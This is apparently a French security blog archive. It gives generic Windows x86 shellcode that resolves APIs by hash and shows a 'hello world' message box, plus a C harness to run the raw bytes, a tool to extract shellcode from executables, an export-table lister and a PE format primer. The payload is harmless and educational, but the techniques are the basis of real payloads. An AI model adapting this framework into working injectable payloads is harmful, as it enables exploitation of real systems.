Pour ce qui va suivre, il faut faudra un minimum de connaissances en assembleur. Nous savons donc comment trouver l’adresse de kernel32.dll, qu’il faut parcourir la table d’exportation et comment la parcourir pour trouver les adresses de nos fonctions. Quant au nom de fonction, nous savons qu’il faut utiliser un hash pour la comparaison. On a donc tout ce qu’il nous faut pour rendre notre shellcode générique.

Voici notre shellcode qui affiche la MessageBox mais de façon générique :

.386
.model flat, stdcall

option casemap:none
assume fs:nothing

.code

start:

jmp main

find_kernel32:
xor ecx, ecx ; ecx = 0
mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
mov esi, [esi + 0ch] ; esi = PEB->Ldr
mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
next_module:
mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode).
mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant).
cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
jne next_module ; Non : essayons le module suivant.
ret

find_func_address:
pushad
mov ebp, [esp + 024h] ; 24 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine.
mov eax, [ebp + 03ch] ; PIMAGE_DOS_HEADER->e_lfanew
mov edx, [ebp + eax + 078h] ; RVA de PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres
add edx, ebp ; On y ajoute l'adresse de base de la dll.
mov ecx, [edx + 018h] ; PIMAGE_EXPORT_DIRECTORY->NumberOfNames
mov ebx, [edx + 020h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNames
add ebx, ebp ; On y joute l'adresse de base de la dll.

find_func_address_loop:
jecxz find_func_address_finished
dec ecx ; Décrémente ecx.
mov esi, [ebx + ecx * 4] ; RVA d'un nom de fonction dans esi.
add esi, ebp ; On y ajoute l'adresse de base de la dll.

prepare_hash:
xor edi, edi ; edi = 0
xor eax, eax ; eax = 0
cld ; Clear direction flag: pour être sûr que ça incrémente (de gauche à droite) pendant l'utilisation de lodsb.

hash:
lodsb ; Charge un byte de esi (qui contient le nom d'une fonction) dans al et incrémente esi.
test al, al ; On regarde si le byte est à zéro.
jz hash_finished ; Si oui on a atteint la fin du nom de la fonction.
ror edi, 0dh ; Rotation de 13 bits vers la droite de la valeur courante (edi contient le hash).
add edi, eax ; Ajout du caractère au hash.
jmp hash ; On continue.

hash_finished:
compare_hash:
cmp edi, [esp + 028h] ; 28 = tous les registres push par le pushad (0x20) + l'adresse de base du module empilé avant l'appel de cette routine + le hash à trouver.
jnz find_func_address_loop ; Ce n'est pas le bon nom de fonction, on va au prochain.
mov ebx, [edx + 024h] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
add ebx, ebp ; On y ajoute l'adresse de base de la dll.
mov cx, [ebx + 2 * ecx] ; Ordinal de la fonction courante.
mov ebx, [edx + 01ch] ; RVA de PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
add ebx, ebp ; On y ajoute l'adresse de base de la dll.
mov eax, [ebx + 4 * ecx] ; RVA de l'adresse de la fonction.
add eax, ebp ; On y ajoute l'adresse de base de la dll = adresse effective.
mov [esp + 01ch], eax

find_func_address_finished:
popad ; Retrouve la valeur de tous les registres, eax contient l'adresse de la fonction grace au "mov [esp + 01ch], eax".
ret

main:
sub esp, 12 ; On alloue l'espace sur la stack pour contenir l'adresse de LoadLibraryA, ExitProcess et MessageBoxA.
mov ebp, esp ; ebp devient notre frame pointeur. Ex : call ebp+4 pour call LoadLibraryA.
; call ebp+8 pour call ExitProcess.
; call ebp+12 pour call MessageBoxA.

call find_kernel32
mov edx, eax ; On sauvegarde l'adresse de kernel32.dll dans edx.

; On cherche l'adresse de LoadLibraryA :
push 0ec0e4e8eh ; Le hash.
push edx ; L'adresse de base de la dll (kernel32.dll).
call find_func_address
mov [ebp+4], eax ; ebp = Adresse de LoadLibraryA.

; On cherche l'adresse de ExitProcess :
push 073e2d87eh ; Le hash.
push edx ; L'adresse de base de la dll (kernel32.dll).
call find_func_address
mov [ebp+8], eax ; ebp+4 = Adresse de ExitProcess.

; On get la string user32.dll :
xor ebx, ebx
jmp get_user32
get_user32_return:
pop eax
mov [eax+10], bl ; On termine la string sans null byte.

; On appel LoadLibraryA.
push eax ; la string user32.dll
call dword ptr [ebp+4]

mov edx, eax ; edx contient maintenant l'adresse de base de user32.dll.

; On cherche l'adresse de MessageBoxA :
push 0bc4da2a8h ; Le hash.
push edx ; L'adresse base de la dll (user32.dll).
call find_func_address
mov [ebp+12], eax ; ebp = adresse de MessageBoxA.

xor ebx,ebx ; Le registre ebx n'est jamais modifié (convention d'appel stdcall).

; On get la string pour le titre :
jmp get_caption
get_caption_return:
pop esi
mov [esi+9], bl

; On get la string pour le message :
jmp get_text
get_text_return:
pop edi
mov [edi+11], bl

; On call MessageBoxA :
push ebx
push esi
push edi
push ebx
call dword ptr [ebp + 12]

; On call ExitProcess :
push ebx
call dword ptr [ebp + 8]

get_user32:
call get_user32_return
db "user32.dll#"

get_caption:
call get_caption_return
db "Shellcode#"

get_text:
call get_text_return
db "hello world#"

end start

N’oubliez pas que pour l’essayer, il faut obtenir les bytes avec par exemple GetShellcode et utiliser shellcodetest.c

1
2
3
4
5
6
7
8
9
10
11
12

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char code[] = "\xEB\x68\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75\xF3\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x34\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xFC\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\xC3\x83\xEC\x0C\x8B\xEC\xE8\x8E\xFF\xFF\xFF\x8B\xD0\x68\x8E\x4E\x0E\xEC\x52\xE8\x9B\xFF\xFF\xFF\x89\x45\x04\x68\x7E\xD8\xE2\x73\x52\xE8\x8D\xFF\xFF\xFF\x89\x45\x08\x33\xDB\xEB\x31\x58\x88\x58\x0A\x50\xFF\x55\x04\x8B\xD0\x68\xA8\xA2\x4D\xBC\x52\xE8\x71\xFF\xFF\xFF\x89\x45\x0C\x33\xDB\xEB\x25\x5E\x88\x5E\x09\xEB\x2E\x5F\x88\x5F\x0B\x53\x56\x57\x53\xFF\x55\x0C\x53\xFF\x55\x08\xE8\xCA\xFF\xFF\xFF\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x23\xE8\xD6\xFF\xFF\xFF\x53\x68\x65\x6C\x6C\x63\x6F\x64\x65\x23\xE8\xCD\xFF\xFF\xFF\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x23";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

On obtient exactement pareil :

On a donc d’abord créé un shellcode qui fonctionnera uniquement sur notre pc et sans reboot, pour finir par un qui fonctionnera (normalement) en tout temps et sur n’importe quel windows.

Publié dans Shellcode | Marqué avec asm, payload, shellcode, win32 | Laisser un commentaire

List Exported Functions :

Publié le 10 septembre 2011 par opc0de

Je vous présente ici un petit tool avec interface graphique qui liste les fonctions exportées d’une dll (comme par exemple kernel32.dll) avec possibilité d’obtenir l’adresse effective d’une fonction grâce à un menu par un clic droit sur un nom de fonction… Pratique pour les shellcodes static. 🙂

#include <windows.h>
#include <stdio.h>
#include <commctrl.h>
#include <windowsx.h>

typedef FILE *PFILE;

#define APPLICATIONNAME "List exported functions\0"
#define CLASSNAME "ListExportedFunctions\0"

#define IDC_FILENAME_EDIT 101
#define IDC_BUTTON 102
#define IDC_LISTVIEW 103
#define IDC_ADDRESS_EDIT 104

#define IDM_GET_NAME 201
#define IDM_GET_ADDRESS 202

HINSTANCE hInst;

ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
void ResizeControls(HWND, HWND, HWND, HWND, HWND);
void CreateColumn(HWND);
void OnButtonClick(HWND, HWND, HWND);
void InsertItems(HWND, HWND, LPSTR);
void ReadCString(PFILE, LPSTR);
DWORD RvaToOffset(PIMAGE_SECTION_HEADER, WORD, DWORD);
void OnRightClick(HWND);
void OnGetAddressClick(HWND, HWND, HWND, HWND, int);
void OnGetNameClick(HWND, HWND, HWND, HWND, int);

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
MSG msg;
INITCOMMONCONTROLSEX icex;

icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
icex.dwICC = ICC_LISTVIEW_CLASSES;
InitCommonControlsEx(&icex);

MyRegisterClass(hInstance);

if(!InitInstance(hInstance, nCmdShow))
{
return FALSE;
}

while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return (int)msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = CLASSNAME;
wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;

hInst = hInstance; // Stocke le handle d'instance dans la variable globale.

hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, 900, 600, NULL, NULL, hInstance, NULL);

if(!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);

return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;

static HWND hwndFilenameEdit;
static HWND hwndButton;
static HWND hwndListView;
static HWND hwndAddressEdit;

static int iItem;

switch(message)
{
case WM_CREATE:
hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);

hwndButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
0, 0, 0, 0, hWnd, (HMENU)IDC_BUTTON, hInst, NULL);

hwndListView = CreateWindow(WC_LISTVIEW, NULL, WS_CHILD | WS_VISIBLE | LVS_LIST,
0, 0, 0, 0, hWnd, (HMENU)IDC_LISTVIEW, hInst, NULL);

hwndAddressEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL | ES_READONLY | ES_LEFT,
0, 0, 0, 0, hWnd, (HMENU)IDC_ADDRESS_EDIT, hInst, NULL);

CreateColumn(hwndListView);

ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
break;
case WM_SIZE:
ResizeControls(hwndFilenameEdit, hwndButton, hwndListView, hwndAddressEdit, hWnd);
break;
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Analyse les sélections de menu :
switch(wmId)
{
case IDC_BUTTON:
OnButtonClick(hWnd, hwndFilenameEdit, hwndListView);
break;
case IDM_GET_NAME:
OnGetNameClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
break;
case IDM_GET_ADDRESS:
OnGetAddressClick(hWnd, hwndFilenameEdit, hwndListView, hwndAddressEdit, iItem);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_NOTIFY:
switch(((LPNMHDR)lParam)->code)
{
case NM_RCLICK:
LVHITTESTINFO lvhti;
LPNMITEMACTIVATE lpnmia;

lpnmia = (LPNMITEMACTIVATE)lParam;
lvhti.pt = lpnmia->ptAction;

if(ListView_SubItemHitTest(hwndListView, &lvhti) != -1)
{
iItem = lpnmia->iItem;
OnRightClick(hWnd);
}
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO : ajoutez ici le code de dessin...
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}

return 0;
}

void ResizeControls(HWND hwndFilenameEdit, HWND hwndButton, HWND hwndListView, HWND hwndAddressEdit, HWND hWnd)
{
RECT rc;

GetClientRect(hWnd, &rc);

MoveWindow(hwndFilenameEdit, 15, 15, rc.right - rc.left - (15 + 80 + 15 + 15), 25, TRUE);

MoveWindow(hwndButton, rc.right - (15 + 80), 15, 80, 25, TRUE);

MoveWindow(hwndListView, 15, 15 + 25 + 15, rc.right - rc.left - (15 + 15), rc.bottom - rc.top - (15 + 25 + 15 + 25 + 15 + 15), TRUE);

MoveWindow(hwndAddressEdit, 15, rc.bottom - (15 + 25), rc.right - rc.left - (15 + 15), 25, TRUE);
}

void CreateColumn(HWND hwndListView)
{
LVCOLUMN lvc;

ListView_InsertColumn(hwndListView, 0, &lvc);
}

void OnButtonClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView)
{
OPENFILENAME ofn;
TCHAR szFile[1024];

ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = hWnd;
ofn.lpstrFile = szFile;
ofn.lpstrFile[0] = '\0';
ofn.nMaxFile = sizeof(szFile);
ofn.lpstrFilter = TEXT("Dynamic Link Library\0*.dll\0\0");
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

if(GetOpenFileName(&ofn))
{
Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
return InsertItems(hWnd, hwndListView, ofn.lpstrFile);
}
}

void InsertItems(HWND hWnd, HWND hwndListView, LPSTR lpstrFile)
{
PFILE pfile = NULL;
char name[1024];
DWORD namePos = -1;
DWORD offsetOfEntryExport = -1;
DWORD offsetOfNames = -1;
DWORD offsetOfNamePos = -1;

IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
PIMAGE_SECTION_HEADER piSectionHeader;
IMAGE_EXPORT_DIRECTORY iExportDir;

LVITEM lvI;
lvI.mask = LVIF_TEXT;

ListView_DeleteAllItems(hwndListView);

pfile = fopen(lpstrFile, "rb");

if(pfile == NULL)
{
MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
MessageBox(hWnd, "Le fichier n'est pas valide.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * iNtHeaders.FileHeader.NumberOfSections);

for(unsigned i = 0; i < iNtHeaders.FileHeader.NumberOfSections; i++)
{
fread(&piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pfile);
}

offsetOfEntryExport = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

if(offsetOfEntryExport == -1)
{
MessageBox(hWnd, "Impossible de trouver la table des fonctions exportées.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

fseek(pfile, offsetOfEntryExport, SEEK_SET);

fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pfile);

offsetOfNames = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, iExportDir.AddressOfNames);

if(offsetOfNames == -1)
{
MessageBox(hWnd, "Impossible d'aller à l'adresse des noms.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
{
fseek(pfile, offsetOfNames + i * sizeof(DWORD), SEEK_SET);
fread(&namePos, sizeof(DWORD), 1, pfile);

offsetOfNamePos = RvaToOffset(piSectionHeader, iNtHeaders.FileHeader.NumberOfSections, namePos);

if(offsetOfNamePos == -1)
{
MessageBox(hWnd, "Impossible d'aller à l'adresse du nom.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

fseek(pfile, offsetOfNamePos, SEEK_SET);

ReadCString(pfile, name);

lvI.iItem = i;
lvI.iSubItem = 0;
lvI.pszText = name;
ListView_InsertItem(hwndListView, &lvI);
}

SetFocus(hwndListView);
}

DWORD RvaToOffset(PIMAGE_SECTION_HEADER piSectionHeader, WORD numberOfSections, DWORD rva)
{
for(WORD i = 0; i < numberOfSections; i++)
{
// La RVA est-elle dans cette section?
if((rva >= piSectionHeader[i].VirtualAddress) && (rva < piSectionHeader[i].VirtualAddress + piSectionHeader[i].SizeOfRawData))
{
rva -= piSectionHeader[i].VirtualAddress;
rva += piSectionHeader[i].PointerToRawData;

return rva;
}
}

return -1;
}

void ReadCString(PFILE pfile, LPSTR name)
{
DWORD n = 0;

do
{
fread(name+n, sizeof(char), 1, pfile);
n++;
}while(name[n-1] != 0 && n < 1023);

name[n] = 0;
}

void OnRightClick(HWND hWnd)
{
HMENU hMenu;
POINT pt;

hMenu = CreatePopupMenu();

GetCursorPos(&pt);

AppendMenu(hMenu, MF_STRING, IDM_GET_NAME, TEXT("Get name"));
AppendMenu(hMenu, MF_STRING, IDM_GET_ADDRESS, TEXT("Get address"));

TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
}

void OnGetAddressClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
{
CHAR szFile[1024];
HMODULE hMod;
DWORD dwAddress;
CHAR szFunc[1024];
CHAR szWorkBuff[12];

Edit_GetText(hwndFilenameEdit, szFile, 1024);

hMod = LoadLibrary(szFile);

if(!hMod)
{
MessageBox(hWnd, "Impossible de charger la dll.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

dwAddress = (DWORD)GetProcAddress(hMod, szFunc);

if(!dwAddress)
{
MessageBox(hWnd, "Impossible d'obtenir l'adresse.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

sprintf(szWorkBuff, "0x%X", dwAddress);

Edit_SetText(hwndAddressEdit, szWorkBuff);
}

void OnGetNameClick(HWND hWnd, HWND hwndFilenameEdit, HWND hwndListView, HWND hwndAddressEdit, int iItem)
{
CHAR szFunc[1024];

ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

Edit_SetText(hwndAddressEdit, szFunc);
}

Publié dans File format | Marqué avec pe, pe format, portable executable, win32 | Laisser un commentaire

Get Shellcode pour Windows :

Publié le 10 septembre 2011 par opc0de

Cet outil permet d’obtenir le shellcode à injecter dans un buffer depuis l’exécutable généré par votre assembleur.

#include <windows.h>
#include <stdio.h>
#include <windowsx.h>

typedef FILE *PFILE;

#define APPLICATIONNAME "Get Shellcode\0"
#define CLASSNAME "GetShellcode\0"

#define IDC_FILENAME_EDIT 101
#define IDC_LOAD_BUTTON 102
#define IDC_SHELLCODE_EDIT 103

#define IDA_SHELLCODE_EDIT 201

HINSTANCE hInst;
HWND hWnd;

ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
void ResizeControls(HWND, HWND, HWND, HWND);
void OnButtonClick(HWND, HWND, HWND);
void GetShellcode(HWND, HWND, LPSTR);
void DumpTextSegment(PFILE, IMAGE_SECTION_HEADER, HWND, HWND);

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
MSG msg;
ACCEL accel;
HACCEL haccel;

MyRegisterClass(hInstance);

if(!InitInstance(hInstance, nCmdShow))
{
return FALSE;
}

accel.fVirt = FCONTROL|FVIRTKEY;
accel.key = 0x41;
accel.cmd = IDA_SHELLCODE_EDIT;

haccel = CreateAcceleratorTable(&accel, 1);

if(haccel == NULL)
{
return FALSE;
}

while(GetMessage(&msg, NULL, 0, 0))
{
if(!TranslateAccelerator(hWnd, haccel, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return (int)msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = CLASSNAME;
wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // Stocke le handle d'instance dans la variable globale.

hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, 800, 500, NULL, NULL, hInstance, NULL);

if(!hWnd)
{
return FALSE;
}

ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);

return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;

static HWND hwndFilenameEdit;
static HWND hwndLoadButton;
static HWND hwndShellcodeEdit;

switch(message)
{
case WM_CREATE:
hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_READONLY | ES_LEFT,
0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);
hwndLoadButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
0, 0, 0, 0, hWnd, (HMENU)IDC_LOAD_BUTTON, hInst, NULL);
hwndShellcodeEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | WS_VSCROLL | ES_READONLY | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,
0, 0, 0, 0, hWnd, (HMENU)IDC_SHELLCODE_EDIT, hInst, NULL);
ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
break;
case WM_SIZE:
ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
break;
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Analyse les sélections de menu :
switch(wmId)
{
case IDC_LOAD_BUTTON:
OnButtonClick(hwndFilenameEdit, hwndShellcodeEdit, hWnd);
break;
case IDA_SHELLCODE_EDIT:
Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));
SetFocus(hwndShellcodeEdit);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO : ajoutez ici le code de dessin...
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}

return 0;
}

void ResizeControls(HWND hwndFilenameEdit, HWND hwndLoadButton, HWND hwndShellcodeEdit, HWND hWnd)
{
RECT rcClient;

GetClientRect(hWnd, &rcClient);

MoveWindow(hwndFilenameEdit, 15, 15, rcClient.right - rcClient.left - (15 + 80 + 15 + 15), 25, TRUE);

MoveWindow(hwndLoadButton, rcClient.right - (15 + 80), 15, 80, 25, TRUE);

MoveWindow(hwndShellcodeEdit, 15, 15 + 25 + 15, rcClient.right - rcClient.left - (15 + 15),
rcClient.bottom - rcClient.top - (15 + 25 + 15 + 15), TRUE);
}

void OnButtonClick(HWND hwndFilenameEdit, HWND hwndShellcodeEdit, HWND hWnd)
{
OPENFILENAME ofn;
TCHAR szFile[1024];

ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = hWnd;
ofn.lpstrFile = szFile;
ofn.lpstrFile[0] = '\0';
ofn.nMaxFile = sizeof(szFile);
ofn.lpstrFilter = TEXT("Executable Files\0*.exe\0\0");
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

if(GetOpenFileName(&ofn))
{
Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
return GetShellcode(hWnd, hwndShellcodeEdit, ofn.lpstrFile);
}
}

void GetShellcode(HWND hWnd, HWND hwndShellcodeEdit, LPSTR lpstrFile)
{
PFILE pfile = NULL;
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
IMAGE_SECTION_HEADER iSectionHeader;

pfile = fopen(lpstrFile, "rb");

if(pfile == NULL)
{
MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
return;
}

fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
{
fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);

if(!strcmp((char*)iSectionHeader.Name, ".text"))
{
return DumpTextSegment(pfile, iSectionHeader, hwndShellcodeEdit, hWnd);
}
}

MessageBox(hWnd, "Impossible de trouver le segment text.", "Erreur", MB_OK | MB_ICONERROR);

return;
}

void DumpTextSegment(PFILE pfile, IMAGE_SECTION_HEADER iSectionHeader, HWND hwndShellcodeEdit, HWND hWnd)
{
BYTE by = 0;
int nLength = 0;
char szText[5];

Edit_SetText(hwndShellcodeEdit, "");

fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

for(DWORD dw = 0; dw < iSectionHeader.Misc.VirtualSize; dw++)
{
fread(&by, sizeof(BYTE), 1, pfile);
sprintf(szText, "\\x%.2X", by);

nLength = Edit_GetTextLength(hwndShellcodeEdit);
Edit_SetSel(hwndShellcodeEdit, nLength, nLength);
Edit_ReplaceSel(hwndShellcodeEdit, szText);
}

fclose(pfile);

Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));

SetFocus(hwndShellcodeEdit);
}

Publié dans Shellcode | Marqué avec payload, shellcode, win32 | Laisser un commentaire

Le format PE :

Publié le 10 septembre 2011 par opc0de

Le format PE (Portable Executable) est le format utilisé sur Windows pour organiser les fichiers exécutables ainsi que les fichiers objets, donc, chaque .exe et .dll (pour ne citer qu’eux) sont créés selon ce format. Maintenant nous allons voir comment analyser ces deux types de fichiers pour obtenir toutes les informations utiles qui nous sont disponibles.

Voici un schéma représentant la structure d’un fichier PE :

+--------------------+
|     Section n      |
+--------------------+
|        ...         |
+--------------------+
|     Section 2	     |
+--------------------+
|     Section 1      |
+--------------------+
|   Tableau de       | tableau de
|   section header   | IMAGE_SECTION_HEADER
+--------------------+-----------------------
| PE Optional header | IMAGE_OPTIONAL_HEADER  
+--------------------+                         
|   PE File header   | IMAGE_FILE_HEADER        IMAGE_NT_HEADERS
+--------------------+                         /
|    PE Signature    | PE\0\0                 /
+--------------------+-----------------------/
|                    |
+--------------------+
|   MS-DOS header    | IMAGE_DOS_HEADER
+--------------------+ offset 0

L’en-tête MS-DOS (IMAGE_DOS_HEADER) est là pour permettre au format PE de rester compatible avec DOS, nous allons nous occuper seulement de deux des champs de cette structure :
– Le champ e_magic qui doit être à IMAGE_DOS_SIGNATURE ou encore 0x5A4D qui signifie MZ (les initiales de Mark Zbikowski : l’un des développeurs MS-DOS) et qui sert à vérifier que le fichier est bien valide.
– Le champ e_lfanew qui est l’offset vers la structure IMAGE_NT_HEADERS. Il regroupe donc la PE Signature, le PE File header et le PE Optional header.
Toutes les structures concernant le format PE se trouvent dans le fichier « winnt.h ».

